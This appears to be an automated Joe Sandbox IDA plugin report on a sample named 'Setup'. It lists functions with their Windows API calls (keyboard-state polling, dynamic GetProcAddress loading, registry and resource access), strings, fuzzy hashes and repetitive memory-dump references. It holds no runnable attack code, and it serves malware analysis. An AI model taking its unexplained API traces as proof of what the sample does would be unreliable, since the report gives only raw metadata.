Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: AddressCurrentFreeH_prolog3HookLibraryProcThreadWindows
String ID: HtmlHelpW$hhctrl.ocx
API String ID: 3379832378-3773518134
Opcode ID: eb0841bf2a10c9a3d5e15c342b2e063d2e3d44f16d3c110e4c30f3998326885a
Instruction ID: 3e371a00159068e6d40955664e8e038953fd9f7aabdffa1abdca2b83dd6c64c6
Opcode Fuzzy Hash: eb0841bf2a10c9a3d5e15c342b2e063d2e3d44f16d3c110e4c30f3998326885a
Instruction Fuzzy Hash: 2D210B75601B16ABDB212FA1DC05B1B7BE4EF00B51F0046B6FA69565A0DB75D800CB62

Function 00BB6726 Relevance: 10.6, APIs: 7, Instructions: 74keyboardCOMMON

Download Yara Rule

APIs

GetAsyncKeyState.USER32(00000012), ref: 00BB674D
GetAsyncKeyState.USER32(00000012), ref: 00BB676B
GetKeyboardState.USER32(?,?,?,?), ref: 00BB679D
GetKeyboardLayout.USER32(?), ref: 00BB67AF
MapVirtualKeyW.USER32(?,00000000), ref: 00BB67CB
ToUnicodeEx.USER32(?,00000000,?,?,?), ref: 00BB67D3
CharUpperW.USER32(?,?,?,?), ref: 00BB67E9

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: State$AsyncKeyboard$CharLayoutUnicodeUpperVirtual
String ID:
API String ID: 298839909-0
Opcode ID: 8ab76bd5c4294610561f6549d6be0d79c67d3c3a157539d89d94a0fa8eec110a
Instruction ID: 4823905da2d4e0654a1470d0235a6805c142b0b9c93c20695e6fca66b3ef33a7
Opcode Fuzzy Hash: 8ab76bd5c4294610561f6549d6be0d79c67d3c3a157539d89d94a0fa8eec110a
Instruction Fuzzy Hash: 74218E71501158ABDB20ABA1DC49BEEB3FCFF14B04F4000A6FA45D6190DFB89E849BA1

Function 00B72AE1 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 71libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?,?,?,?,?,?,?,?,?,?,user32.dll), ref: 00B72AF2
GetProcAddress.KERNEL32(00000000,RegisterTouchWindow), ref: 00B72B04
GetProcAddress.KERNEL32(00000000,UnregisterTouchWindow), ref: 00B72B12

Strings

RegisterTouchWindow, xrefs: 00B72AFE
user32.dll, xrefs: 00B72AE9
UnregisterTouchWindow, xrefs: 00B72B0A

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: RegisterTouchWindow$UnregisterTouchWindow$user32.dll
API String ID: 667068680-2470269259
Opcode ID: 9a31d53fa286c1c409aebc50edc0a1e4465854be322db7b69d7f2a40acee69f6
Instruction ID: c4967d372333008cc1ee9657254176a511c10cabaf48d532db1d718b82ff76f2
Opcode Fuzzy Hash: 9a31d53fa286c1c409aebc50edc0a1e4465854be322db7b69d7f2a40acee69f6
Instruction Fuzzy Hash: 7811D032602615BFC7016FA59CC8A6EFBA8FF54765B108127EA1993310CBB1AC4186E2

Function 00BAB86B Relevance: 10.6, APIs: 7, Instructions: 69windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000407,00000000,?), ref: 00BAB896
IsRectEmpty.USER32(?), ref: 00BAB8B2
IsRectEmpty.USER32(?), ref: 00BAB8BD
GetCursorPos.USER32(00000000), ref: 00BAB8D3
ScreenToClient.USER32(?,00000000), ref: 00BAB8E0
PtInRect.USER32(?,00000000,00000000), ref: 00BAB8F3
PtInRect.USER32(?,00000000,00000000), ref: 00BAB904

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Rect$Empty$ClientCursorMessageScreenSend
String ID:
API String ID: 703117857-0
Opcode ID: c1ff3859e1591ef088961426186683d43411d0218724cac547bb74b26e8b5791
Instruction ID: fcdc0c119d4ff67bbd88eb2f50311d2421a58493209b5fa8016b748bf6377784
Opcode Fuzzy Hash: c1ff3859e1591ef088961426186683d43411d0218724cac547bb74b26e8b5791
Instruction Fuzzy Hash: 0C218B71A04209BFDF209BA1DC48FAEBBFDFF05701F0004AAF516A2061E775AA10DB20

Function 00B6EFA3 Relevance: 10.6, APIs: 7, Instructions: 68COMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 00B6EFC0
GetWindowRect.USER32(?,?), ref: 00B6EFE4
ScreenToClient.USER32(?,?), ref: 00B6EFF1
ScreenToClient.USER32(?,?), ref: 00B6EFFE
EqualRect.USER32(?,?), ref: 00B6F009
DeferWindowPos.USER32(?,?,00000000,?,?,?,?,00000014), ref: 00B6F030
SetWindowPos.USER32(?,00000000,?,?,?,?,00000014), ref: 00B6F03A

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Window$ClientRectScreen$DeferEqualParent
String ID:
API String ID: 443303494-0
Opcode ID: 1b3268b3deeb7da11a5a789ab117a37093781712170d14b6fabd26a3f41140df
Instruction ID: ad8ff03771ec4e74ab894664a2d828dd6599ec84f10f1104a9382256af64077e
Opcode Fuzzy Hash: 1b3268b3deeb7da11a5a789ab117a37093781712170d14b6fabd26a3f41140df
Instruction Fuzzy Hash: 1621F97690110AEFCB10DFA4DD84EBEBBB8FF18700B10416AE905EA255E735DA01DBA1

Function 00B63F00 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 66registrylibraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(Advapi32.dll,00D084D8,?,00D084D8,00000000,?,00B62778,80000002,?,0002001F,00D084D8), ref: 00B63F24
GetProcAddress.KERNEL32(00000000,RegOpenKeyTransactedW), ref: 00B63F3B
RegOpenKeyExW.ADVAPI32(?,?,00000000,00D084D8,00000000,00D084D8,?,00D084D8,00000000,?,00B62778,80000002,?,0002001F,00D084D8), ref: 00B63F74
RegCloseKey.ADVAPI32(00000000,?,00D084D8,00000000,?,00B62778,80000002,?,0002001F,00D084D8), ref: 00B63F87

Strings

RegOpenKeyTransactedW, xrefs: 00B63F35
Advapi32.dll, xrefs: 00B63F1F

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: AddressCloseHandleModuleOpenProc
String ID: Advapi32.dll$RegOpenKeyTransactedW
API String ID: 823179699-3913318428
Opcode ID: 77a4effec7b73727a6397695dde0f23a4925ff2e34a70f0325f200dcf8fb1e20
Instruction ID: 0e0b73931c7127d8a775335ad5b6b12e61f713d516bb3a1860105bd9c59a1b96
Opcode Fuzzy Hash: 77a4effec7b73727a6397695dde0f23a4925ff2e34a70f0325f200dcf8fb1e20
Instruction Fuzzy Hash: 17119031A04206EBDF108F59DC44B5ABBF9EF44B01F1080A9F909D7290D778EA50DB61

Function 00CBF58F Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00CBF557: _free.LIBCMT ref: 00CBF57C

_free.LIBCMT ref: 00CBF5DD

Part of subcall function 00CB9108: HeapFree.KERNEL32(00000000,00000000,?,00CBF581,00B67F84,00000000,00B67F84,00000000,?,00CBF5A8,00B67F84,00000007,00B67F84,?,00CBF98E,00B67F84), ref: 00CB911E
Part of subcall function 00CB9108: GetLastError.KERNEL32(00B67F84,?,00CBF581,00B67F84,00000000,00B67F84,00000000,?,00CBF5A8,00B67F84,00000007,00B67F84,?,00CBF98E,00B67F84,00B67F84), ref: 00CB9130

_free.LIBCMT ref: 00CBF5E8
_free.LIBCMT ref: 00CBF5F3
_free.LIBCMT ref: 00CBF647
_free.LIBCMT ref: 00CBF652
_free.LIBCMT ref: 00CBF65D
_free.LIBCMT ref: 00CBF668

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: fced29d399994d73e2e6c22b7f1685315ce81cea84b23c5de2e8f2a2391dea28
Instruction ID: fb939305428f285491e52f0dc28d5f0cf37dfc33d08bd2d1548b536bf5b46d20
Opcode Fuzzy Hash: fced29d399994d73e2e6c22b7f1685315ce81cea84b23c5de2e8f2a2391dea28
Instruction Fuzzy Hash: 8F11EF71544B08AAD631BBB4DC4BFCF779CDF04700F40482DB299A6252DB76B909B650

Function 00B783F7 Relevance: 10.6, APIs: 7, Instructions: 60COMMON

Download Yara Rule

APIs

ClientToScreen.USER32(?,?), ref: 00B78411
GetWindow.USER32(?,00000005), ref: 00B7841A
GetDlgCtrlID.USER32(00000000), ref: 00B78429
GetWindowLongW.USER32(00000000,000000F0), ref: 00B78439
GetWindowRect.USER32(00000000,?), ref: 00B78457
PtInRect.USER32(?,?,?), ref: 00B78467
GetWindow.USER32(00000000,00000002), ref: 00B78474

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Window$Rect$ClientCtrlLongScreen
String ID:
API String ID: 1315500227-0
Opcode ID: 8fdf251804bb50a00cdb7d3716bee80404e97c323d163bbaa374e73b4ace1ae4
Instruction ID: 9259670f3faf3878cc1248e21cd150bd4813973425568ce2acdf5ca9dc166c1b
Opcode Fuzzy Hash: 8fdf251804bb50a00cdb7d3716bee80404e97c323d163bbaa374e73b4ace1ae4
Instruction Fuzzy Hash: 3C118F7190266ABBCB219F649D0CBAFBBF8EF45310B118166F815E2250DB748B018BA1

Function 00BE9CC6 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

FindResourceW.KERNEL32(?,?,PNG,?,?,?,00CE4598,00CE4598,?,00BEAAEE,?,00000000,?), ref: 00BE9CE9
LoadResource.KERNEL32(?,00000000,?,00CE4598,00CE4598,?,00BEAAEE,?,00000000,?), ref: 00BE9CF7
LockResource.KERNEL32(00000000,?,00CE4598,00CE4598,?,00BEAAEE,?,00000000,?), ref: 00BE9D04
SizeofResource.KERNEL32(?,00000000,?,00CE4598,00CE4598,?,00BEAAEE,?,00000000,?), ref: 00BE9D17

Part of subcall function 00BE9D3F: GlobalAlloc.KERNEL32(00000002,?,00000000,?,?,?,00BE9D29,00000000,00000000,?,00CE4598,00CE4598,?,00BEAAEE,?,00000000), ref: 00BE9D4C
Part of subcall function 00BE9D3F: GlobalLock.KERNEL32(00000000), ref: 00BE9D61
Part of subcall function 00BE9D3F: CreateStreamOnHGlobal.OLE32(00000000,00000001,00000000), ref: 00BE9D7D
Part of subcall function 00BE9D3F: EnterCriticalSection.KERNEL32(00D2DFCC,00000000), ref: 00BE9D9A
Part of subcall function 00BE9D3F: LeaveCriticalSection.KERNEL32(00D2DFCC,00000000), ref: 00BE9E05

FreeResource.KERNEL32(00000000,00000000,00000000,?,00CE4598,00CE4598,?,00BEAAEE,?,00000000,?), ref: 00BE9D2C

Strings

PNG, xrefs: 00BE9CE0

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Resource$Global$CriticalLockSection$AllocCreateEnterFindFreeLeaveLoadSizeofStream
String ID: PNG
API String ID: 3339468451-364855578
Opcode ID: 024a1d9a1363f53907f4f89aeaec6e7e38f567fafd1456fa5a8ac71172d69cd9
Instruction ID: 4b15e2c7717c5ab4b9086dba5a0ac7af56e6ea671c77ddc655cbe95bc65d6e33
Opcode Fuzzy Hash: 024a1d9a1363f53907f4f89aeaec6e7e38f567fafd1456fa5a8ac71172d69cd9
Instruction Fuzzy Hash: 6E01A7766011A5BF57126B96CC45DBF7BECEF4575171040B5FC01A3210DB74DE0587A1

Function 00B776A1 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(uxtheme.dll), ref: 00B776B3
GetProcAddress.KERNEL32(00000000,BeginBufferedPaint), ref: 00B776C3
EncodePointer.KERNEL32(00000000), ref: 00B776CC
DecodePointer.KERNEL32(00000000), ref: 00B776DA

Strings

BeginBufferedPaint, xrefs: 00B776BD
uxtheme.dll, xrefs: 00B776AE

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Pointer$AddressDecodeEncodeHandleModuleProc
String ID: BeginBufferedPaint$uxtheme.dll
API String ID: 2061474489-1632326970
Opcode ID: c80ee49997990c40abf27d8387c4ee93f60379489aba9355b0c223a6e026903b
Instruction ID: 0edffd23cb681a4ae7d45f0e78f1c1bb8413eb952b1a7cf848508b6aa232a3bf
Opcode Fuzzy Hash: c80ee49997990c40abf27d8387c4ee93f60379489aba9355b0c223a6e026903b
Instruction Fuzzy Hash: 0FF06D31596A15AB8F121F659C48A6E7FA9EB047903008562FD19D2220DB31CD11DBA1

Function 00B77ED6 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 35libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(shell32.dll), ref: 00B77EE8
GetProcAddress.KERNEL32(00000000,SHCreateItemFromParsingName), ref: 00B77EF8
EncodePointer.KERNEL32(00000000), ref: 00B77F01
DecodePointer.KERNEL32(00000000), ref: 00B77F0F

Strings

SHCreateItemFromParsingName, xrefs: 00B77EF2
shell32.dll, xrefs: 00B77EE3

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Pointer$AddressDecodeEncodeHandleModuleProc
String ID: SHCreateItemFromParsingName$shell32.dll
API String ID: 2061474489-2320870614
Opcode ID: 0e2d26d41ad03eb400801b91a5e52e4be39ee373b77c75661566a97fb880ebd4
Instruction ID: 8cb2db72ce0535d32dafaa0f0213a4506cb2ba860f0fdd7c245ea2bf3d7d575d
Opcode Fuzzy Hash: 0e2d26d41ad03eb400801b91a5e52e4be39ee373b77c75661566a97fb880ebd4
Instruction Fuzzy Hash: A2F0B43158A295AB8B125F60EE08B6D7FE9EF087407048062FD19DA320CF34CD029BF2

Function 00B77E12 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 35libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,?,?,00B6562F,?,?,?,?), ref: 00B77E24
GetProcAddress.KERNEL32(00000000,RegisterApplicationRecoveryCallback), ref: 00B77E34
EncodePointer.KERNEL32(00000000,?,?,00B6562F,?,?,?,?), ref: 00B77E3D
DecodePointer.KERNEL32(00000000,?,?,00B6562F,?,?,?,?), ref: 00B77E4B

Strings

kernel32.dll, xrefs: 00B77E1F
RegisterApplicationRecoveryCallback, xrefs: 00B77E2E

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
